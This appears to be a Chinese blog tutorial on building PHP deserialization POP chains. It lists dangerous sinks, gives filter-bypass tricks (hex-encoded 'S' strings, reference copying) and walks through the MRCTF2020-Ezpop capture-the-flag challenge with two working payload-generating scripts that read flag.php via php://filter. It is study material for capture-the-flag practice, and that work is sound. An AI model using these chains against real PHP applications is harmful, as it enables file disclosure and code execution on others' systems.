POP 链的构造利用

一、POP链简介

1、POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的“gadget”找到漏洞点。
2、POP CHAIN:把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。

二、POP链利用技巧

1、一些有用的POP链中出现的方法:

- 命令执行:exec()、passthru()、popen()、system()
- 文件操作:file_put_contents()、file_get_contents()、unlink()

2、**反序列化中为了避免信息丢失,使用大写S支持字符串的编码。**PHP 为了更加方便进行反序列化 Payload 的 传输与显示(避免丢失某些控制字符等信息),我们可以在序列化内容中用大写S表示字符串,此时这 个字符串就支持将后面的字符串用16进制表示,使用如下形式即可绕过,即:

s:4:"user"; -> S:4:"use\72";

3、深浅copy:在 php中如果我们使用 & 对变量A的值指向变量B,这个时候是属于浅拷贝,当变量B改变时,变量A也会跟着改变。在被反序列化的对象的某些变量被过滤了,但是其他变量可控的情况下,就可以利用浅拷贝来绕过过滤。

参考:深浅copy

4、配合PHP伪协议实现文件包含、命令执行等漏洞。如glob:// 伪协议查找匹配的文件路径模式。

实战

MRCTF2020-Ezpop

<?phpclass Modifier {protected  $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);}
}class Show{public $source;public $str;public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return $this->str->source;}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}}
}class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}
}
if(isset($_GET['pop'])){@unserialize($_GET['pop']);
}
else{$a=new Show;highlight_file(__FILE__);
}

其中出现的魔术方法:

__construct   当一个对象创建时被调用,
__toString   当一个对象被当作一个字符串被调用。
__wakeup()   使用unserialize时触发
__get()    用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke()   当脚本尝试将对象调用为函数时触发

构造pop链:

  • 首先反序列化调用__wakeup()方法
  • source=new Show()__wakeup()会调用__toString()
  • $str=new Test()就会调用__get()方法
  • p=new Modifier()就会调用__invoke(),然后命令执行
Modifier::__invoke()<--Test::__get()<--Show::__toString()

所以构造:

<?php
class Modifier {protected  $var="php://filter/read=convert.base64-encode/resource=flag.php"; #include函数使用为协议读取文件}class Test{public $p;
}class Show{public $source;public $str;public function __construct(){$this->str = new Test();}
}$pop = new Show();//此时source(show)->str
$pop->source = new Show();//source(show)->str之后触发__tostring然后访问source(test)触发__get
$pop->source->str->p = new Modifier();//__get返回的p触发__invoke
echo urlencode(serialize($pop));
?>

法2(y4):

<?php
ini_set('memory_limit','-1');
class Modifier {protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}class Show{public $source;public $str;public function __construct($file){$this->source = $file;$this->str = new Test();}
}class Test{public $p;public function __construct(){$this->p = new Modifier();}
}
$a = new Show('aaa');
$a = new Show($a);
echo urlencode(serialize($a));

SCU unserialize

<?php
error_reporting(0);
highlight_file(__FILE__);
class hackMe{protected $formatters;   public function __call($method, $attributes){  #在对象中调用一个不可访问方法时调用return $this->format($method, $attributes);}public static function hackMMM(){echo "Hello web												

php反序列化—POP 链的构造利用相关推荐

  1. 『Java安全』反序列化-浅析Hessian反序列化POP链

    文章目录 前言 pom.xml Spring联动Hessian使用 Server端 服务接口 服务实现类 SpringApp Client端 手动序列化和反序列化 能序列化的类 序列化没有实现Seri ...

  2. PHP反序列化—构造POP链

    前言: 最近在刷题的时候发现这个PHP反序列化-POP链,之前理解的序列化攻击多是在魔术方法中出现一些利用的漏洞,自动调用从而触发漏洞.但如果关键代码不在魔术方法中,而是在一个类的普通方法中.这时候可 ...

  3. php反序列化之pop链构造

    前言 随着对反序列化学习的不断深入,我们来学习一下pop链的构造.这个pop链对于我这种小白来说还是比较难理解的,再次写下这篇文章总结一下,加深自己对构造pop链的理解.同时也是提供想要入坑的小伙伴们 ...

  4. php反序列化漏洞之pop链

    目录 POP链简介 pop面向属性编程: pop chain pop链利用技巧 1.在pop链中出现的方法: 2.反序列化中为了避免信息丢失,可以使用大写S,支持字符串的编码 3.深浅copy 4.利 ...

  5. pop链 php,POP链

    在二进制安全领域,Return-oriented programming(ROP)是一种常用的绕过防护攻击方式.攻击者可以利用内存中已有的进程片段(称作gadgets),通过汇集这些进程片构建一个攻击 ...

  6. POP链实例解析学习

    写在前面 POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload,实战应用范围暂时没遇到,不过在CTF比赛中经常出现这样的题目,同时也经常与反序列化一起考察,可以理解为是反序列 ...

  7. 【关于学习渗透】手把手教你玩转java反序列化cb链

    前言 java反序列化cb链大家应该都玩过,博主当初是通过看shiro无依赖了解到的,最近在重学基础,就手把手一点一点调试一遍.记得11月份自博主反思之后,认为自己渗透的学习深度广度都太差,对漏洞的学 ...

  8. 第17篇:Shiro反序列化在Weblogic下无利用链的拿权限方法

     Part1 前言  Shiro反序列化漏洞虽然出现很多年了,但是在平时的攻防比赛与红队评估项目中还是能遇到.主站也许遇不到Shiro漏洞,但是主站边缘域名.全资子公司的子域名.边缘资产.微信公众号. ...

  9. java restfulapi 返回文件base64_Java反序列化:一次构造后Ysoserial Payload

    前言 在一次应用安全测试中发现了一个的Java反序列化漏洞,该漏洞最终导致未经身份验证的远程代码执行.经过实践,发现利用此漏洞并不像之前使用Ysoserial生成默认payload那样简单. 所以在本 ...

最新文章

  1. MySQL Server 5.0 和 6.0 安装指南[转]
  2. 软件开发质量控制-CMMI读后疑问
  3. android 之SharedPreferences,SDCard以及网络存储
  4. OpenCASCADE:形状愈合之用于修复、分析和升级的辅助工具
  5. 修改Element-UI的组件样式
  6. EntityFramework进阶——Entity Splitting和Table Splitting
  7. 第二节:ES7 新增的 includes 特性
  8. nginx php-fpm 安装,Linux下nginx php-fpm安装配置笔记
  9. opencv视频转图片并保存到文件夹下
  10. 换加密算法--python
  11. 纯css控制-表格表头固定,内容多时滚动内容
  12. Carsim应用:LKA车道保持辅助系统(LQR控制器模型)
  13. ESXI 中的虚拟机导出到本地
  14. 玩转NVIDIA Jetson AGX Xavier--- 中文用户手册
  15. Android#studio@快捷键
  16. 操作系统春招面试复习之:存储管理
  17. 这是个转贴,QB教程,很不错
  18. jquery字符串相等判断
  19. Android逆向 某州 解密sign字段 so层 算法分析 Unidbg模拟执行
  20. 电视机体感游戏大盘点

热门文章

  1. 腾讯视频VIP会员,周卡特价9元!腾讯官方直充,会员立即生效!
  2. 视频分享平台PeerTube的搭建
  3. log4j日志改json格式自定义输出内容源码及说明
  4. 迅雷云加速开放平台接口说明
  5. 处理仿真中存在多个timescale的问题
  6. 2023年,云计算还有发展前景吗?
  7. R语言输出为eps格式的图片,latex
  8. “安装的产品与安装源不匹配”一种通过修改注册表解决问题的方法
  9. 达芬奇工具链的建立(工程编译步骤tms320dm6446)
  10. 罗斯蒙特手操器TREXCFPNA9S1